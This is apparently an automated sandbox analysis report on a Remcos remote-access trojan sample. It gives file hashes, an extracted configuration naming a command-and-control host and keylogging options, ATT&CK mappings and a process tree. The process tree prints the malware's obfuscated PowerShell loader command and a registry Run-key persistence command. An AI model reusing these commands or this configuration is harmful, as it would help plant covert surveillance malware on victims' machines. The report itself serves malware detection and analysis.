remcos | a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8

General

Target

a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe
Size

1.9MB
MD5

9e2bb9641df1f89ec932ce2ecf61bbf0
SHA1

3067d1088a5d90fa870ad97b9eaa778c25a6eb67
SHA256

a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8
SHA512

cf6dfe990d769f83d0399d075353684daebf3a0fb992d38233e2547056419f86ca8db852bc269d775e47f8a71144f04d2ed8ce3ca4391077fc63cfb8a4ebc1b6
SSDEEP

49152:2s1VyT2ZuEaGmRt6jQf1Xgy8xDZBQq1ryC01BeLE/5:jV9aGFcf1XF86qaSc

Score

10^/10

remcos voirh discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

voirH

C2

hopitaldewigle.com:443

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
leeeeeeees.dat
keylog_flag
false
mouse_option
false
mutex
Rmc-JJTRIQ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Epistropheus55 = "%Gladiatorkamp% -windowstyle 1 $baadsmandspiben=(gp -Path 'HKCU:\\Software\\excusable\\').Tical;%Gladiatorkamp% ($baadsmandspiben)"	reg.exe

Blocklisted process makes network request 33 IoCs

flow	pid	Process
18	644	msiexec.exe
20	644	msiexec.exe
22	644	msiexec.exe
35	644	msiexec.exe
36	644	msiexec.exe
37	644	msiexec.exe
38	644	msiexec.exe
39	644	msiexec.exe
40	644	msiexec.exe
41	644	msiexec.exe
42	644	msiexec.exe
43	644	msiexec.exe
47	644	msiexec.exe
48	644	msiexec.exe
49	644	msiexec.exe
50	644	msiexec.exe
51	644	msiexec.exe
52	644	msiexec.exe
53	644	msiexec.exe
54	644	msiexec.exe
57	644	msiexec.exe
61	644	msiexec.exe
62	644	msiexec.exe
63	644	msiexec.exe
64	644	msiexec.exe
65	644	msiexec.exe
66	644	msiexec.exe
67	644	msiexec.exe
68	644	msiexec.exe
69	644	msiexec.exe
70	644	msiexec.exe
71	644	msiexec.exe
72	644	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
644	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4676	powershell.exe
644	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
640	reg.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4676	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4676	powershell.exe
Token: SeSecurityPrivilege	4676	powershell.exe
Token: SeTakeOwnershipPrivilege	4676	powershell.exe
Token: SeLoadDriverPrivilege	4676	powershell.exe
Token: SeSystemProfilePrivilege	4676	powershell.exe
Token: SeSystemtimePrivilege	4676	powershell.exe
Token: SeProfSingleProcessPrivilege	4676	powershell.exe
Token: SeIncBasePriorityPrivilege	4676	powershell.exe
Token: SeCreatePagefilePrivilege	4676	powershell.exe
Token: SeBackupPrivilege	4676	powershell.exe
Token: SeRestorePrivilege	4676	powershell.exe
Token: SeShutdownPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeSystemEnvironmentPrivilege	4676	powershell.exe
Token: SeRemoteShutdownPrivilege	4676	powershell.exe
Token: SeUndockPrivilege	4676	powershell.exe
Token: SeManageVolumePrivilege	4676	powershell.exe
Token: 33	4676	powershell.exe
Token: 34	4676	powershell.exe
Token: 35	4676	powershell.exe
Token: 36	4676	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 4676	4212	a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe	91
PID 4212 wrote to memory of 4676	4212	a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe	91
PID 4212 wrote to memory of 4676	4212	a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe	91
PID 4676 wrote to memory of 644	4676	powershell.exe	96
PID 4676 wrote to memory of 644	4676	powershell.exe	96
PID 4676 wrote to memory of 644	4676	powershell.exe	96
PID 4676 wrote to memory of 644	4676	powershell.exe	96
PID 644 wrote to memory of 4468	644	msiexec.exe	97
PID 644 wrote to memory of 4468	644	msiexec.exe	97
PID 644 wrote to memory of 4468	644	msiexec.exe	97
PID 4468 wrote to memory of 640	4468	cmd.exe	99
PID 4468 wrote to memory of 640	4468	cmd.exe	99
PID 4468 wrote to memory of 640	4468	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe
"C:\Users\Admin\AppData\Local\Temp\a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Alfarvejens=Get-Content -Raw 'C:\Users\Admin\AppData\Local\endophasia\irrationalitets\andengradspolynomium\Rickettsialpox.Smk';$Kttttys=$Alfarvejens.SubString(38302,3);.$Kttttys($Alfarvejens)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Epistropheus55" /t REG_EXPAND_SZ /d "%Gladiatorkamp% -windowstyle 1 $baadsmandspiben=(gp -Path 'HKCU:\Software\excusable\').Tical;%Gladiatorkamp% ($baadsmandspiben)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Epistropheus55" /t REG_EXPAND_SZ /d "%Gladiatorkamp% -windowstyle 1 $baadsmandspiben=(gp -Path 'HKCU:\Software\excusable\').Tical;%Gladiatorkamp% ($baadsmandspiben)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1x0detqr.svp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\endophasia\irrationalitets\andengradspolynomium\Himmelskes.Sli

Filesize
374KB

MD5
7dd4814ba51f492e619fe8f34557a38e

SHA1
df6d6d1c03003c0a047e4d873a197ab5059bb4f0

SHA256
e595da8ac498745f868999df21341bad8c78bf04010868a63f444f0b83c2ab62

SHA512
45fd648e3a669525eb92b4b76515cd62bcf8422203ce7e67a91c773f9f0fa995f0edceecdcf4db3b642d9f3a25fe4e572906a955a6be06e5a4a43abcb0330512

Download Submit
C:\Users\Admin\AppData\Local\endophasia\irrationalitets\andengradspolynomium\Rickettsialpox.Smk

Filesize
50KB

MD5
7ddef591261053bd7fac766023859e2d

SHA1
db5c60aa8f81599094f85eee67a47b12d4404c36

SHA256
e84d88ddf388bd9de757eca740cd8ad6fdbb0e84b83de05074300a368cd397f6

SHA512
0da27755fbe80c98b2bf5db1e7555b4cd7366f0804e0df8be343b2b4ab4256fb0e1e44bf4f5eaca9b4e4e5bc02121f6880437c30f4fbfda41ec04508773951f6

Download Submit
C:\Users\Public\Desktop\ingeminate.ini

Filesize
39B

MD5
15c97ed976d1891e37f7696b4f5e9189

SHA1
eed982e518ed4cb2132cbdaf81ec394076df279a

SHA256
69271a35c306170aecfa489a6c2e49f998936425981c7cc2f4f523ba1ff11ecf

SHA512
52a7b134cb3fd46c54eee4daaca7ca3449cd99214761e94f186990a48de8381687498e0eeb26d16896b315c0f878192688abad1144e3b1bc8b797f5cf05ba419

Download Submit
memory/644-232-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/4676-202-0x0000000007590000-0x00000000075C2000-memory.dmp

Filesize
200KB

Download
memory/4676-215-0x00000000075D0000-0x00000000075EE000-memory.dmp

Filesize
120KB

Download
memory/4676-182-0x0000000005450000-0x00000000054B6000-memory.dmp

Filesize
408KB

Download
memory/4676-181-0x00000000052B0000-0x00000000052D2000-memory.dmp

Filesize
136KB

Download
memory/4676-193-0x0000000005BD0000-0x0000000005F24000-memory.dmp

Filesize
3.3MB

Download
memory/4676-194-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/4676-195-0x0000000006180000-0x00000000061CC000-memory.dmp

Filesize
304KB

Download
memory/4676-196-0x0000000007120000-0x00000000071B6000-memory.dmp

Filesize
600KB

Download
memory/4676-197-0x0000000006660000-0x000000000667A000-memory.dmp

Filesize
104KB

Download
memory/4676-198-0x00000000066B0000-0x00000000066D2000-memory.dmp

Filesize
136KB

Download
memory/4676-199-0x00000000077B0000-0x0000000007D54000-memory.dmp

Filesize
5.6MB

Download
memory/4676-180-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Filesize
6.2MB

Download
memory/4676-201-0x00000000083E0000-0x0000000008A5A000-memory.dmp

Filesize
6.5MB

Download
memory/4676-203-0x0000000073A60000-0x0000000073AAC000-memory.dmp

Filesize
304KB

Download
memory/4676-204-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-179-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-205-0x0000000074B10000-0x0000000074E64000-memory.dmp

Filesize
3.3MB

Download
memory/4676-183-0x00000000054C0000-0x0000000005526000-memory.dmp

Filesize
408KB

Download
memory/4676-217-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-216-0x0000000007600000-0x00000000076A3000-memory.dmp

Filesize
652KB

Download
memory/4676-218-0x0000000007700000-0x000000000770A000-memory.dmp

Filesize
40KB

Download
memory/4676-219-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-220-0x0000000007740000-0x000000000776A000-memory.dmp

Filesize
168KB

Download
memory/4676-221-0x0000000007770000-0x0000000007794000-memory.dmp

Filesize
144KB

Download
memory/4676-222-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-223-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-177-0x0000000002800000-0x0000000002836000-memory.dmp

Filesize
216KB

Download
memory/4676-225-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-226-0x000000007317E000-0x000000007317F000-memory.dmp

Filesize
4KB

Download
memory/4676-228-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-227-0x0000000008A60000-0x000000000A5CD000-memory.dmp

Filesize
27.4MB

Download
memory/4676-229-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-230-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-231-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/4676-176-0x000000007317E000-0x000000007317F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads